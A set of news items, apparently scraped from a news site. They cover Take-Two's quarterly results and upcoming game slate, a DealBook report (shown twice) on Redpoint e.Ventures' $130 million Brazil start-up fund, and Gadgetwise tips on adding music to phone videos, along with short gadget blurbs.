Take-Two is investing heavily in digitally-delivered content, including mobile games and downloads. 14% of Take-Two revenue this quarter came from downloaded content, including Civilization V’s recent Gods and Kings expansion and Max Payne Mobile. A free multiplayer add-on for Max Payne 3 was announced, as well as online launches including an open beta for NBA 2K13 in China, Comedy Central’s Indecision Game for mobile and NBA 2K All Stars for the GREE platform. Catalog sales were up 50% compared to last year, including successes like Grand Theft Auto III 10th Anniversary Edition and Red Dead Redemption.

Take-Two expects this fiscal year “to be one of the best years in Take-Two's history,” projecting between $1.7 and $1.8 billion in revenue. 55% of that total is expected to come from Rockstar, with the remaining 45% coming from 2K titles. 2K’s upcoming release slate includes Borderlands 2 in September, followed by NBA 2K13 and XCOM: Enemy Unknown in October. First-person shooter XCOM is scheduled for fiscal 2014 (meaning it will arrive between April 2013 and March 2014) and BioShock Infinite is scheduled for February 2013. Take-Two also hinted at additional titles that have yet to be announced.

Take-Two noted that Borderlands 2 has some of the highest pre-order numbers in the company’s history, behind only Grand Theft Auto IV and Grand Theft Auto: San Andreas. "Consumer anticipation is phenomenal," chief operating officer Karl Slatoff commented.

DealBook: Redpoint e.Ventures Making Long-Term Bet on Brazil

SÃO PAULO, Brazil — At a time when the Brazilian economy is cooling, at least one Silicon Valley firm is doubling down.

Redpoint e.Ventures announced Monday that it had raised $130 million to invest in early-stage Internet start-ups in Brazil, South America’s largest economy.

The firm, less than a year old, is a joint effort between Redpoint Ventures of Menlo Park, Calif., and BV Capital of San Francisco, which has just renamed itself e.Ventures. Each firm had invested in Brazilian Internet companies separately, including the online travel site Viajanet and Grupo Xango, a tech holding company co-founded by a former Microsoft executive.

Jeff Brody, Redpoint’s founding partner, acknowledged Brazil’s challenges, including slower growth and sagging industrial production. On Friday, Brazil’s government lowered its 2012 gross domestic product forecast to 3 percent growth, from 4.5 percent.

“None of that is good news for us,” Mr. Brody said. “Europe and China slowing down will definitely impact Brazil.”

But he said that the firm was more focused on the long term, the next decade, and that recent economic concerns “were not mentioned at all” by investors in the new fund.

In fact, the firms raised more than their original $100 million target, said Mathias Schilling, a founder of e.ventures. Internet use is still growing, and so is the mobile Web, and Brazilians still face a large void in early-stage venture capital, presenting a major opportunity.

A few pioneering local firms have already tapped into the market, including Monashees Capital of São Paulo. In addition, Kaszek Ventures of Argentina holds just under $100 million, with two-thirds of its investments in Brazil.

Still, the Redpoint joint venture is the first such fund in Brazil originating from Silicon Valley, said Allen Taylor, director of global networks for Endeavor, an American nonprofit group that promotes entrepreneurship in emerging markets.

Redpoint “has really taken a leadership position from the beginning” in helping encourage Brazil’s start-up culture and seeking it out as a market, Mr. Taylor said.

The founding partners of Redpoint e.Ventures, based here in São Paulo, Anderson Thees and Yann de Vries, say they will typically make initial investments from a few hundred thousand dollars to $5 million.

For many, the benefits go beyond the cash.

Camila Souza introduced the fashion shopping site Sophie & Juliete with her partner, Ronald Beigl, last week. It is backed by Redpoint e.Ventures and IG Expansion.

Thanks to the presence of the new fund, and what she hopes will be other funds to follow, she said “entrepreneurship will become a lot more professional now” and less dependent on wealthy families.

“It will influence people who before did not really believe it was possible,” she said.

DealBook: Redpoint e.Ventures Making Long-Term Bet on Brazil

SÃO PAULO, Brazil — At a time when the Brazilian economy is cooling, at least one Silicon Valley firm is doubling down.

Redpoint e.Ventures announced Monday that it had raised $130 million to invest in early-stage Internet start-ups in Brazil, South America’s largest economy.

The firm, less than a year old, is a joint effort between Redpoint Ventures of Menlo Park, Calif., and BV Capital of San Francisco, which has just renamed itself e.Ventures. Each firm had invested in Brazilian Internet companies separately, including the online travel site Viajanet and Grupo Xango, a tech holding company co-founded by a former Microsoft executive.

Jeff Brody, Redpoint’s founding partner, acknowledged Brazil’s challenges, including slower growth and sagging industrial production. On Friday, Brazil’s government lowered its 2012 gross domestic product forecast to 3 percent growth, from 4.5 percent.

“None of that is good news for us,” Mr. Brody said. “Europe and China slowing down will definitely impact Brazil.”

But he said that the firm was more focused on the long term, the next decade, and that recent economic concerns “were not mentioned at all” by investors in the new fund.

In fact, the firms raised more than their original $100 million target, said Mathias Schilling, a founder of e.ventures. Internet use is still growing, and so is the mobile Web, and Brazilians still face a large void in early-stage venture capital, presenting a major opportunity.

A few pioneering local firms have already tapped into the market, including Monashees Capital of São Paulo. In addition, Kaszek Ventures of Argentina holds just under $100 million, with two-thirds of its investments in Brazil.

Still, the Redpoint joint venture is the first such fund in Brazil originating from Silicon Valley, said Allen Taylor, director of global networks for Endeavor, an American nonprofit group that promotes entrepreneurship in emerging markets.

Redpoint “has really taken a leadership position from the beginning” in helping encourage Brazil’s start-up culture and seeking it out as a market, Mr. Taylor said.

The founding partners of Redpoint e.Ventures, based here in São Paulo, Anderson Thees and Yann de Vries, say they will typically make initial investments from a few hundred thousand dollars to $5 million.

For many, the benefits go beyond the cash.

Camila Souza introduced the fashion shopping site Sophie & Juliete with her partner, Ronald Beigl, last week. It is backed by Redpoint e.Ventures and IG Expansion.

Thanks to the presence of the new fund, and what she hopes will be other funds to follow, she said “entrepreneurship will become a lot more professional now” and less dependent on wealthy families.

“It will influence people who before did not really believe it was possible,” she said.

Gadgetwise Blog: Q&A: Making a Musical Video

What do I need to add my own music to the background of a video clip I shot on my phone?

One way to mix in audio is to pull the clip into a video-editing program, add the music where you want it and then export the newly enhanced version as a new video. The program and device you use for that purpose is up to you.

If you want to do your editing on a mobile device, search your app store for video-editing programs designed to work on your phone or tablet. When you select an app, check its help guide or developer’s Web site for instructions on adding music to a video clip if the steps are not obvious. In most cases, you need to have the audio file you want to use on the mobile device; some copy-protected tracks may not work properly.

For those new to movie making, using a video-editing program designed to work on a regular computer may be easier. You need to import the video clip from the phone to the computer (transferring it by e-mail, online server or USB cable connection are common methods) and have the audio track you want to use there, too.

Many third-party video-editing programs are available, but for simple editing chores, you do not need to spend money on software. Most Macs come with Apple’s iMovie application and Windows users can download the free Windows Movie Maker program if it is not already installed on the PC. Google’s free Picasa software for Windows and Mac OS X can also add audio tracks to movie clips, as explained here.

Gadgetwise Blog: Tip of the Week: Making a Stickie, Quickly

July 18

A Mac OS X keyboard shortcut speeds up the process of pasting selected text into a desktop Stickie for safe-keeping.

July 18

Garmin's new fitness watch, the Swim, is made specifically for use in a pool and is designed to automatically log laps, strokes, pace, distance and calories burned. In a test though, the watch didn't quite turn in a gold-medal performance.

July 17

If you do not like the way the Google News page looks, change it.

July 17

Element Case, a maker of iPhone cases, wants to play mechanic to your designer. The company is offering a customized version of its luxury-priced Vapor Comp and Vapor Pro cases, which encircle your iPhone with a metal frame.

July 16

Do noise-canceling headphones try to do too much to too many sounds? Audio-Technica would say yes, and is selling its ATH-ANC9 QuietPoint active noise-canceling headphones with three different modes intended to improve noise-canceling in different conditions.